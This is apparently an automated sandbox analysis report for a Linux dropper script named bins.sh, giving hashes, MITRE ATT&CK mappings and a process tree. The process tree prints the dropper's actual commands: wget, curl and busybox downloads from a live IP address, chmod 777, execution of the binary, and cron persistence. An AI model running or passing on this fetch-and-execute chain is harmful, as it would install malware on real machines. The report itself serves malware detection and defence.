40d95128ef74aeb3e7db7937e9f0a369166df804da9ef079f261d12f41290c19

General

Target

bins.sh
Size

10KB
MD5

189e44c8b7f08b35f7db2c3a93458409
SHA1

02f6a3087388a4fd264c352cb40ba6a7aa3867d0
SHA256

40d95128ef74aeb3e7db7937e9f0a369166df804da9ef079f261d12f41290c19
SHA512

26d3894c6c0069e9ce08a08094a5bf9335d980c9f377948f05abc558e59a67e4a98aa59bc9457eaa242223782d2b811821ed53875fa2ca82a96575cf6cb371d2
SSDEEP

192:HX8IUOHvcLp1JgfQomvLw2VMEaiqTfZ1JgMIUOHvc/aiqTf2QomvLDO:HX8IUOHvcLp1JgfQomvLw2VMd1JgMIUZ

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2010) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1489 chmod
Executes dropped EXE 1 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

ioc pid process

/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy 1490 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
Renames itself 1 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

pid process

1491 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.wIQoav crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1489	chmod

ioc	pid	process
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	1490	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

pid	process
1491	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.wIQoav	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

description	ioc	process
File opened for reading	/proc/938/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1521/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1595/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1703/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1819/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1069/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1664/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1755/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1818/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1549/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1709/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1716/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1768/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/168/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1733/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1152/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1570/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1672/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1745/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1885/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/24/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1501/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1661/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1856/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/594/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1606/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1748/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1859/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/10/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1582/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1864/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/8/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1714/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1158/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1503/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1625/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1848/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1882/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1520/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1599/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/197/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1681/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1871/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1890/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1526/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1667/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1687/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1752/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1760/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1847/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1605/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/25/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1524/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1534/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1802/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1813/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1602/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1652/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1668/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1887/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1728/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1761/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1145/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
File opened for reading	/proc/1472/cmdline	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	wget
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	curl
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1472
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1473
- /usr/bin/wget
  wget http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1474
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/chmod
  chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1490
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1492
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1493
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1494
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1495
- /bin/rm
  rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  PID:1498
- /usr/bin/wget
  wget http://216.126.231.240/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:1501

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Network Service Discovery

2

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.wIQoav

Filesize
210B

MD5
cd88a77c40557836e22c45c0b292c817

SHA1
ec45c64fabb491ba86b34080c699f54d953b6c4e

SHA256
1146e94b030a5eecbff1786434188689cb538d8e39ea3fde10aeb8dc2d0aa901

SHA512
7054c10ca49c0d770a83fb0a746f6f2674b119f6ba959a158f425973816d70147d382abe7557159e9136144b999bdcdf1615136b8082a8f0a53874ea2c3ca001

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads